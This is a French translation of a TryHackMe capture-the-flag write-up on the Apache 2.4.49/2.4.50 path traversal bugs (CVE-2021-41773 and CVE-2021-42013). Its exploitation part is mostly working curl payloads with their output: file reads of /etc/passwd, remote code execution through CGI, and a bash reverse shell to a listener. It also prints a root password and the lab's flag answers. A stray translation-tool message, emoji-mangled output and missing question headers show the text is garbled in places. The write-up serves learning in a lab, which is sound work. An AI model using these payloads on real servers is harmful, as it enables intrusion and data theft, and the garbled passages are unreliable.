
CTF_WRITEUPS/TryHackMe /CVE-2021-41773/
CTF_WRITEUPS/TryHackMe /CVE-2021-41773/
Un bref historique
Le 5 octobre 2021, un CVE détaillant une attaque par traversée de chemin sur le serveur Apache HTTP v2.4.49 a été publié. Identifié sous le numéro CVE-2021-41773, il a été publié avec la description suivante :
Un défaut a été trouvé dans un changement apporté à la normalisation des chemins dans le serveur Apache HTTP 2.4.49. Un attaquant pourrait utiliser une attaque par traversée de chemin pour mapper des URL vers des fichiers en dehors de la racine de documents prévue. Si les fichiers en dehors de la racine de documents ne sont pas protégés par « require all denied », ces requêtes peuvent aboutir. De plus (sic), ce défaut pourrait divulguer le code source de fichiers interprétés comme les scripts CGI. Ce problème est connu pour être exploité dans la nature. Ce problème n'affecte qu'Apache 2.4.49 et pas les versions antérieures.
Décomposons cela et voyons ce que cela signifie réellement pour nous :
Beaucoup de correctifs plus tard...
Apache a donc corrigé ce bug et publié la v2.4.50. Fin de l'histoire, non ? Eh bien, pas tout à fait. Deux jours plus tard seulement, le 7 octobre, un nouveau CVE a été publié en référence au précédent. Celui-ci mentionne que le correctif de la précédente attaque par traversée de chemin était incomplet, et que l'on pouvait toujours traverser si le chemin en question utilisait une directive alias pour mapper ses URL vers le système de fichiers. Le CVE a reçu le numéro CVE-2021-42013, avec la description suivante :
Il a été constaté que le correctif de CVE-2021-41773 dans le serveur Apache HTTP 2.4.50 était insuffisant. Un attaquant pourrait utiliser une attaque par traversée de chemin pour mapper des URL vers des fichiers en dehors des répertoires configurés par des directives de type Alias. Si les fichiers en dehors de ces répertoires ne sont pas protégés par la configuration par défaut habituelle « require all denied », ces requêtes peuvent aboutir. Si les scripts CGI sont également activés pour ces « aliased pathes » (sic), cela pourrait permettre une exécution de code à distance. Ce problème n'affecte qu'Apache 2.4.49 et Apache 2.4.50, et pas les versions antérieures.
Comme avant, nous pouvons apprendre quelques choses ici :
Pendant que nous assimilons cette folie, nous examinerons la configuration requise dans la tâche suivante.
Répondez aux questions ci-dessous
Un soupçon de théorie
Un exploit de traversée de chemin est une attaque qui vise à accéder à des ressources normalement inaccessibles en abusant des failles dans la résolution et/ou la normalisation des chemins. On exploite généralement ce type d'attaque en remontant (ou en traversant) en arrière au-delà de la racine supposée à l'aide de la syntaxe ...
Normalisation ? C'est quoi ?
Normalement, pour qu'un code trouve un fichier, un chemin absolu est nécessaire. Appelons cela le chemin canonique. Lorsqu'un chemin relatif est donné à la place, il doit être normalisé en une forme canonique afin que les bibliothèques du système d'exploitation qui utilisent ce chemin puissent trouver la ressource en question. C'est une simplification excessive, bien sûr, mais l'essentiel reste le même.
En général, il existe des bibliothèques de plateforme pour faire cette normalisation à notre place, mais en C/C++, on doit généralement tout faire nous-mêmes. Cela peut offrir une certaine flexibilité, mais cela peut aussi facilement introduire des failles si notre implémentation n'est pas parfaite.
Normaliser les URL
Un serveur HTTP doit traduire une URL en chemin canonique sur le système de fichiers afin de trouver le bon fichier à servir. Bien qu'il existe certainement des filtres pour éviter de pouvoir traverser au-delà de la racine de documents, certains cas d'usage peuvent facilement être oubliés. Dans ce cas, l'exploitation tire parti non seulement de l'encodage URL (nous y reviendrons dans un instant) mais aussi d'une faille dans la normalisation des chemins du module Alias (soi-disant).
Un aparté sur l'encodage URL
Défini dans la RFC 3986, section 2, l'encodage URL est un schéma utilisé pour encoder les caractères spéciaux ou réservés dans une URL. Par exemple, les espaces dans une URL sont encodées sous la forme d'un caractère + (notamment dans les paramètres de requête). Si nous voulons encoder un vrai plus, nous devons l'encoder en utilisant ce que l'on appelle un « encodage en pourcentage ». Cela consiste simplement à préfixer le code hexadécimal US-ASCII du caractère avec un signe %. Dans notre exemple, le symbole + peut être encodé en %2B.
N'importe quel caractère peut être encodé en URL, et les URL entièrement encodées sont fonctionnellement équivalentes à leur version non encodée. D'après la RFC : Si deux URI ne diffèrent que par la casse des chiffres hexadécimaux utilisés dans les octets encodés en pourcentage, elles sont équivalentes.
Alors, que s'est-il passé avec Apache ?
Un changement récent dans le module de normalisation des chemins du serveur Apache a ensuite permis à une URL spécialement conçue de contourner les filtres et de traverser au-delà de la racine de documents, permettant une lecture arbitraire de fichiers sur le système si la configuration le permettait. En outre, si le module CGI était activé, l'exécution arbitraire de fichiers était également possible !
Répondez aux questions ci-dessous
A) Inclure des fichiers distants arbitraires à traiter sur le serveur. B) Inclure des fichiers locaux arbitraires à traiter sur le serveur. C) Permettre que des fichiers arbitraires soient exposés par le serveur. D) Aucune des réponses ci-dessus.
Hacker Apache pour le fun
Alors, maintenant que la théorie est terminée, passons à l'exploitation de cette faille. Tout d'abord, nous avons besoin d'une version vulnérable d'Apache. Heureusement, nous avons docker pour cela :)```
user@machine$ docker pull httpd:2.4.49
2.4.49: Pulling from library/httpd
07aded7c29c6: Already exists
05bb40c8f148: Already exists
0827b74117da: Already exists
35a526fdcc7d: Pull complete
59fed288cd32: Pull complete
Digest: sha256:dcba0d12e2362fb0c50ec524ae8aa1cca4a4ba7216617a57e7bbca20767e79cc
Status: Downloaded newer image for httpd:2.4.49
docker.io/library/httpd:2.4.49
**Configuration**
Pour que cet exploit fonctionne, nous devons configurer Apache pour autoriser l'accès aux fichiers en dehors de la racine du document. Nous pouvons être précis et spécifier un répertoire donné, ou bien suivre la voie YOLO et donner accès à tout. Pour nos besoins, tout fera très bien l'affaire. Pour commencer, lançons notre conteneur et examinons la configuration. Notez que ces modifications fonctionnent pour les deux versions vulnérables d'Apache.```
user@machine$ docker run --name vuln-httpd -p 8080:80 -d httpd:2.4.49
a4dfc0376d93dc62183982a527b0bef62543e7a91178116bb0480a42ecc0c8dd
user@machine$ docker cp vuln-httpd:/usr/local/apache2/conf/httpd.conf .
user@machine$ grep -C4 -n "Require all denied" httpd.conf
246-# <Directory> blocks below.
247-#
248-<Directory />
249- AllowOverride none
250: Require all denied
251-</Directory>
252-
253-#
254-# Note that from this point forward you must specifically allow
--
303-# The following lines prevent .htaccess and .htpasswd files from being
304-# viewed by Web clients.
305-#
306-<Files ".ht*">
307: Require all denied
308-</Files>
309-
310-#
311-# ErrorLog: The location of the error log file.
user@machine$ sed "250s/denied/granted/" httpd.conf > httpd.new.conf
user@machine$ docker cp http.new.conf vuln-httpd:/usr/local/apache2/conf/httpd.conf
user@machine docker container restart vuln-httpd
vuln-httpd
En passant, vous pouvez toujours modifier la configuration à la main. Nous voulons modifier la partie qui dit :``` AllowOverride none Require all denied
Et remplacez denied par granted. Cela donnera à Apache l'accès à l'ensemble du système de fichiers (ce qui n'est vraiment PAS une bonne idée, donc ne faites pas cela en production. Jamais).
**Configuration pour ce juteux RCE**
Modifier simplement les contrôles d'accès permettra l'exposition des données, mais pas l'exécution de code à distance (RCE). Afin d'obtenir un RCE dans notre petite preuve de concept (PoC), il suffit d'activer le module CGI en plus des permissions d'accès. Cela amènera alors le module CGI à exécuter le script lorsqu'on l'appellera au lieu de simplement afficher son contenu. Pour activer CGI, il suffit de décommenter la configuration LoadModule. En supposant que nous ayons toujours le conteneur modifié précédemment, nous pouvons faire ce qui suit :```
user@machine$ docker cp vuln-httpd:/usr/local/apache2/conf/httpd.conf .
user@machine$ grep -C4 -n "mod_cgi" httpd.conf
180-#LoadModule asis_module modules/mod_asis.so
181-#LoadModule info_module modules/mod_info.so
182-#LoadModule suexec_module modules/mod_suexec.so
183-<IfModule !mpm_prefork_module>
184: #LoadModule cgid_module modules/mod_cgid.so
185-</IfModule>
186-<IfModule mpm_prefork_module>
187: #LoadModule cgi_module modules/mod_cgi.so
188-</IfModule>
189-#LoadModule dav_fs_module modules/mod_dav_fs.so
190-#LoadModule dav_lock_module modules/mod_dav_lock.so
191-#LoadModule vhost_alias_module modules/mod_vhost_alias.so
--
385-
386-<IfModule cgid_module>
387- #
388- # ScriptSock: On threaded servers, designate the path to the UNIX
389: # socket used to communicate with the CGI daemon of mod_cgid.
390- #
391- #Scriptsock cgisock
392-</IfModule>
393-
user@machine$ sed "184,187s/#//" httpd.conf > httpd.new.conf
user@machine$ docker cp http.new.conf vuln-httpd:/usr/local/apache2/conf/httpd.conf
user@machine docker container restart vuln-httpd
vuln-httpd
Vous pouvez, bien sûr, utiliser n'importe quel éditeur de texte disponible pour modifier les fichiers. La méthode grep/sed fonctionne avec un shell dans le conteneur, car aucun éditeur de texte n'est disponible.
Passons enfin aux exploits !
Maintenant que notre conteneur est configuré, nous pouvons enfin passer à l'exploitation de cette CVE. La méthode est assez simple : il s'agit d'encoder dans l'URL l'un des points . de chaque segment de chemin tout en traversant. Nous devons aussi traverser depuis un chemin aliasé. Heureusement, nous savons en lisant la configuration que le chemin cgi-bin est aliasé par défaut, alors utilisons-le ! L'exploit diffère légèrement entre les versions 2.4.49 et 2.4.50, bien que la seconde fonctionne également sur la première.
Apache 2.4.49 sans CGI activé
Sans CGI activé, nous ne pouvons que lire des fichiers. Avec curl, il suffit d'accéder aux fichiers souhaités en encodant dans l'URL l'un des points . de chaque segment de chemin.```
user@machine$ curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1 Host: localhost:8080 User-Agent: curl/7.74.0 Accept: /
**Apache 2.4.49 avec CGI activé**
Le CGI va compliquer les choses car le module tentera d'exécuter le fichier récupéré. Pour du texte brut, comme /etc/passwd, cela peut être problématique :). Pour exécuter du code, nous pouvons simplement appeler `sh` ou `bash` avec la commande dans le corps. Notez que l'en-tête de réponse Content-Type devra également être émis afin que le client sache comment afficher les résultats.```
user@machine$ curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /etc/passwd' -H "Content-Type: text/plain"
* Trying 127.0.0.1:8080...
* Connected to localhost (127.0.0.1) port 8080 (#1)
> POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Type: text/plain
> Content-Length: 52
>
* upload completely sent off: 52 out of 52 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 11 Oct 2021 12:22:34 GMT
< Server: Apache/2.4.49 (Unix)
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
* Connection #1 to host localhost left intact
Apache 2.4.50
Cet exemple particulier a été corrigé dans la version 2.4.50. Cependant, le correctif était incomplet et ne tenait pas compte d'un double encodage de l'URL. Dans ce cas, nous pouvons utiliser la même structure que la version précédente, avec le chemin suivant :``` user@machine$ curl 'http://localhost:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd' root❌0:0:root:/root:/bin/bash daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin bin❌2:2:bin:/bin:/usr/sbin/nologin sys❌3:3:sys:/dev:/usr/sbin/nologin sync❌4:65534:sync:/bin:/bin/sync games❌5:60:games:/usr/games:/usr/sbin/nologin man❌6:12👨/var/cache/man:/usr/sbin/nologin lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail❌8:8:mail:/var/mail:/usr/sbin/nologin news❌9:9:news:/var/spool/news:/usr/sbin/nologin uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy❌13:13:proxy:/bin:/usr/sbin/nologin www-data❌33:33:www-data:/var/www:/usr/sbin/nologin backup❌34:34:backup:/var/backups:/usr/sbin/nologin list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc❌39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt❌100:65534::/nonexistent:/usr/sbin/nologin
Si nous regardons de plus près, on peut voir que l'URL décode de `%%32%65` à `%2e.` Cela contourne le code de filtrage et nous permet de naviguer en dehors de la racine du serveur web.
**Répondez aux questions ci-dessous**
1. **Quel module doit être activé pour obtenir une exécution de code à distance ?**
- **mod_cgi**
---
### Tâche 4: Examen pratique
La configuration est un peu fastidieuse, alors je l'ai entièrement faite pour vous ! Dans la VM jointe à cette tâche (veuillez patienter jusqu'à 4 minutes pour que la VM d'abonné démarre correctement, et 7 minutes pour la VM gratuite), il y a 4 serveurs Apache vulnérables configurés comme suit :
Apache 2.4.49 without CGI: `http://MACHINE_IP:8080`
Apache 2.4.49 with CGI: `http://MACHINE_IP:8081`
Apache 2.4.50 without CGI: `http://MACHINE_IP:8082`
Apache 2.4.50 with CGI: `http://MACHINE_IP:8083`
Chaque serveur contient un flag dans le répertoire racine nommé `flag.txt`. Votre tâche est de tous les trouver.
En tant qu'objectif bonus, essayez d'obtenir un véritable shell sur l'un des serveurs avec CGI activé. Le serveur sur le port 8083 contient également un flag root caché.
***Répondez aux questions ci-dessous***
1. **Quel est le flag sur le port 8080 ?**
- ***THM{724V3R51N6_P4TH5_F02_FUN}***```
$ curl -v http://10.10.107.169:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt
- Trying 10.10.107.169:8080...
- TCP_NODELAY set
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\* Connected to 10.10.107.169 (10.10.107.169) port 8080 (#0)
> GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt HTTP/1.1
> Host: 10.10.107.169:8080
> User-Agent: curl/7.67.0
> Accept: _/_
- Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Wed, 10 Nov 2021 08:57:26 GMT
< Server: Apache/2.4.49 (Unix)
< Last-Modified: Mon, 11 Oct 2021 09:16:12 GMT
< ETag: "1d-5ce102e25be36"
< Accept-Ranges: bytes
< Content-Length: 29
< Content-Type: text/plain
<
{ [29 bytes data]
100 29 100 29 0 0 29 0 0:00:01 --:--:-- 0:00:01 29THM{724V3R51N6_P4TH5_F02_FUN}
- Connection #0 to host 10.10.107.169 left intact
THM{2C3_F20M_C61}``` $ curl -v 'http://10.10.107.169:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /flag.txt' -H "Content-Type: text/plain"
Trying 10.10.107.169:8081...
TCP_NODELAY set % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to 10.10.107.169 (10.10.107.169) port 8081 (#0)
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash HTTP/1.1 Host: 10.10.107.169:8081 User-Agent: curl/7.67.0 Accept: / Content-Type: text/plain Content-Length: 50
} [50 bytes data]
upload completely sent off: 50 out of 50 bytes
Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Wed, 10 Nov 2021 09:01:11 GMT < Server: Apache/2.4.49 (Unix) < Transfer-Encoding: chunked < Content-Type: text/plain < { [23 bytes data] 100 67 0 17 100 50 18 54 --:--:-- --:--:-- --:--:-- 74THM{2C3_F20M_C61}
Connection #0 to host 10.10.107.169 left intact
3. **Quel est le flag sur le port 8082 ?**
- ***THM{D0UBL3_3NC0D1N6_F7W}***```
$ curl 'http://10.10.37.52:8082/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/flag.txt'
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 24 100 24 0 0 23 0 0:00:01 0:00:01 --:--:-- 23THM{D0UBL3_3NC0D1N6_F7W}
5. **J'ai réussi à obtenir un shell ! (Je ne peux pas vraiment le vérifier, alors je te fais confiance sur ce point :))**
***Aucune réponse nécessaire***
6. **Sous quel utilisateur le serveur Apache s'exécute-t-il ?**
- ***daemon***
7. **Trouvez le flag root sur la machine sur le port 8083 ?**
- ***THM{P21V_35C_F20M_4P4CH3_15_FUN}***```
$ curl -v 'http://10.10.37.52:8083/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash' -d 'echo; bash -i >& /dev/tcp/10.17.31.150/4242 0>&1'
- Trying 10.10.37.52:8083...
- TCP_NODELAY set
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\* Connected to 10.10.37.52 (10.10.37.52) port 8083 (#0)
> POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash HTTP/1.1
> Host: 10.10.37.52:8083
> User-Agent: curl/7.67.0
> Accept: _/_
> Content-Length: 48
> Content-Type: application/x-www-form-urlencoded
>
> } [48 bytes data]
- upload completely sent off: 48 out of 48 bytes
- Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Fri, 12 Nov 2021 16:20:43 GMT
< Server: Apache/2.4.50 (Unix)
< Transfer-Encoding: chunked
<
100 48 0 0 0 48 0 0 --:--:-- 0:01:05 --:--:-- 0{ [0 bytes data]
- transfer closed with outstanding read data remaining
100 48 0 0 0 48 0 0 --:--:-- 0:01:05 --:--:-- 0
- Closing connection 0
curl: (18) transfer closed with outstanding read data remaining
Le contenu à traduire est manquant après « INPUT: ». Aucun texte n'a été fourni pour cette portion (chunk 25/26).``` $ ncat -lvp 4242 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::4242 Ncat: Listening on 0.0.0.0:4242 Ncat: Connection from 10.10.37.52. Ncat: Connection from 10.10.37.52:35836. bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell daemon@18c7613b3859:/bin$ cd /root cd /root bash: cd: /root: Permission denied daemon@18c7613b3859:/bin$ su root su root Password: ApacheCVE
cd /root
ls root.txt cat root.txt THM{P21V_35C_F20M_4P4CH3_15_FUN}